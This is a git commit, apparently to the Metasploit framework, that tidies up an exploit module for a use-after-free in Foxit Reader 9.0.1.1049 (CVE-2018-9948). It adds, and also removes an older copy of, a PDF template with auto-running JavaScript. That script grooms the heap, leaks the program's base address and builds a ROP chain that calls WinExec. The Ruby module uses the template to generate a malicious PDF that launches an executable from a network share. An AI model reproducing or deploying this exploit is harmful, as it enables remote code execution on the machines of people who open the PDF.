Cleanup for foxit_reader_uaf
parent
55bf6e5dd4
commit
254e8b9fd0
|
@ -0,0 +1,125 @@
|
||||||
|
%PDF
|
||||||
|
1 0 obj
|
||||||
|
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||||
|
2 0 obj
|
||||||
|
<</S /JavaScript /JS (
|
||||||
|
|
||||||
|
var heap_ptr = 0;
|
||||||
|
var foxit_base = 0;
|
||||||
|
var pwn_array = [];
|
||||||
|
|
||||||
|
function prepare_heap(size){
|
||||||
|
var arr = new Array(size);
|
||||||
|
for(var i = 0; i < size; i++){
|
||||||
|
arr[i] = this.addAnnot({type: "Text"});;
|
||||||
|
if (typeof arr[i] == "object"){
|
||||||
|
arr[i].destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
const maxMallocBytes = 128 * 0x100000;
|
||||||
|
for (var i = 0; i < 3; i++) {
|
||||||
|
var x = new ArrayBuffer(maxMallocBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function alloc_at_leak(){
|
||||||
|
for (var i = 0; i < 0x64; i++){
|
||||||
|
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function control_memory(){
|
||||||
|
for (var i = 0; i < 0x64; i++){
|
||||||
|
for (var j = 0; j < pwn_array[i].length; j++){
|
||||||
|
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function leak_vtable(){
|
||||||
|
var a = this.addAnnot({type: "Text"});
|
||||||
|
|
||||||
|
a.destroy();
|
||||||
|
gc();
|
||||||
|
|
||||||
|
prepare_heap(0x400);
|
||||||
|
var test = new ArrayBuffer(0x60);
|
||||||
|
var stolen = new Int32Array(test);
|
||||||
|
|
||||||
|
var leaked = stolen[0] & 0xffff0000;
|
||||||
|
foxit_base = leaked - 0x01f50000;
|
||||||
|
}
|
||||||
|
|
||||||
|
function leak_heap_chunk(){
|
||||||
|
var a = this.addAnnot({type: "Text"});
|
||||||
|
a.destroy();
|
||||||
|
prepare_heap(0x400);
|
||||||
|
|
||||||
|
var test = new ArrayBuffer(0x60);
|
||||||
|
var stolen = new Int32Array(test);
|
||||||
|
|
||||||
|
alloc_at_leak();
|
||||||
|
heap_ptr = stolen[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
function reclaim(){
|
||||||
|
var arr = new Array(0x10);
|
||||||
|
for (var i = 0; i < arr.length; i++) {
|
||||||
|
arr[i] = new ArrayBuffer(0x60);
|
||||||
|
var rop = new Int32Array(arr[i]);
|
||||||
|
|
||||||
|
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||||
|
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||||
|
rop[0x02] = 0x72727272; // junk
|
||||||
|
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||||
|
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||||
|
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||||
|
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||||
|
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||||
|
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||||
|
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||||
|
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||||
|
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||||
|
<%= rop %>
|
||||||
|
rop[0x17] = 0x00000000; // adios, amigo
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function trigger_uaf(){
|
||||||
|
var that = this;
|
||||||
|
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||||
|
var arr = [1];
|
||||||
|
Object.defineProperties(arr,{
|
||||||
|
"0":{
|
||||||
|
get: function () {
|
||||||
|
|
||||||
|
that.getAnnot(0, "uaf").destroy();
|
||||||
|
|
||||||
|
reclaim();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
a.point = arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function main(){
|
||||||
|
leak_heap_chunk();
|
||||||
|
leak_vtable();
|
||||||
|
control_memory();
|
||||||
|
trigger_uaf();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (app.platform == "WIN"){
|
||||||
|
if (app.isFoxit == "Foxit Reader"){
|
||||||
|
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||||
|
main();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
)>> trailer <</Root 1 0 R>>
|
|
@ -1,130 +0,0 @@
|
||||||
require 'erb'
|
|
||||||
|
|
||||||
template = %q{
|
|
||||||
%PDF
|
|
||||||
1 0 obj
|
|
||||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
|
||||||
2 0 obj
|
|
||||||
<</S /JavaScript /JS (
|
|
||||||
|
|
||||||
var heap_ptr = 0;
|
|
||||||
var foxit_base = 0;
|
|
||||||
var pwn_array = [];
|
|
||||||
|
|
||||||
function prepare_heap(size){
|
|
||||||
var arr = new Array(size);
|
|
||||||
for(var i = 0; i < size; i++){
|
|
||||||
arr[i] = this.addAnnot({type: "Text"});;
|
|
||||||
if (typeof arr[i] == "object"){
|
|
||||||
arr[i].destroy();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function gc() {
|
|
||||||
const maxMallocBytes = 128 * 0x100000;
|
|
||||||
for (var i = 0; i < 3; i++) {
|
|
||||||
var x = new ArrayBuffer(maxMallocBytes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function alloc_at_leak(){
|
|
||||||
for (var i = 0; i < 0x64; i++){
|
|
||||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function control_memory(){
|
|
||||||
for (var i = 0; i < 0x64; i++){
|
|
||||||
for (var j = 0; j < pwn_array[i].length; j++){
|
|
||||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function leak_vtable(){
|
|
||||||
var a = this.addAnnot({type: "Text"});
|
|
||||||
|
|
||||||
a.destroy();
|
|
||||||
gc();
|
|
||||||
|
|
||||||
prepare_heap(0x400);
|
|
||||||
var test = new ArrayBuffer(0x60);
|
|
||||||
var stolen = new Int32Array(test);
|
|
||||||
|
|
||||||
var leaked = stolen[0] & 0xffff0000;
|
|
||||||
foxit_base = leaked - 0x01f50000;
|
|
||||||
}
|
|
||||||
|
|
||||||
function leak_heap_chunk(){
|
|
||||||
var a = this.addAnnot({type: "Text"});
|
|
||||||
a.destroy();
|
|
||||||
prepare_heap(0x400);
|
|
||||||
|
|
||||||
var test = new ArrayBuffer(0x60);
|
|
||||||
var stolen = new Int32Array(test);
|
|
||||||
|
|
||||||
alloc_at_leak();
|
|
||||||
heap_ptr = stolen[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
function reclaim(){
|
|
||||||
var arr = new Array(0x10);
|
|
||||||
for (var i = 0; i < arr.length; i++) {
|
|
||||||
arr[i] = new ArrayBuffer(0x60);
|
|
||||||
var rop = new Int32Array(arr[i]);
|
|
||||||
|
|
||||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
|
||||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
|
||||||
rop[0x02] = 0x72727272; // junk
|
|
||||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
|
||||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
|
||||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
|
||||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
|
||||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
|
||||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
|
||||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
|
||||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
|
||||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
|
||||||
<%= rop %>
|
|
||||||
rop[0x17] = 0x00000000; // adios, amigo
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function trigger_uaf(){
|
|
||||||
var that = this;
|
|
||||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
|
||||||
var arr = [1];
|
|
||||||
Object.defineProperties(arr,{
|
|
||||||
"0":{
|
|
||||||
get: function () {
|
|
||||||
|
|
||||||
that.getAnnot(0, "uaf").destroy();
|
|
||||||
|
|
||||||
reclaim();
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
a.point = arr;
|
|
||||||
}
|
|
||||||
|
|
||||||
function main(){
|
|
||||||
leak_heap_chunk();
|
|
||||||
leak_vtable();
|
|
||||||
control_memory();
|
|
||||||
trigger_uaf();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (app.platform == "WIN"){
|
|
||||||
if (app.isFoxit == "Foxit Reader"){
|
|
||||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
|
||||||
main();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
)>> trailer <</Root 1 0 R>>
|
|
||||||
|
|
||||||
}
|
|
|
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def pdfdoc
|
def get_pdf
|
||||||
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
|
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
|
||||||
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
||||||
fname << '.exe' unless fname.ends_with?('.exe')
|
fname << '.exe' unless fname.ends_with?('.exe')
|
||||||
|
@ -85,19 +85,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
|
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
|
||||||
|
|
||||||
begin
|
begin
|
||||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2018-9948')
|
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
|
||||||
pdfDoc = ERB.new(File.read("#{path}/template_pdf.erb")).result(binding())
|
pdf_doc = ERB.new(template).result(binding())
|
||||||
pdfDoc
|
pdf_doc
|
||||||
rescue
|
rescue Errno::ENOENT
|
||||||
fail_with(Failure::NotFound, 'The PDF template was not found')
|
fail_with(Failure::NotFound, 'The PDF template was not found')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
mypdf = pdfdoc
|
my_pdf = get_pdf
|
||||||
if mypdf.nil?
|
if my_pdf.nil?
|
||||||
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
|
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
|
||||||
end
|
end
|
||||||
file_create(mypdf)
|
file_create(my_pdf)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue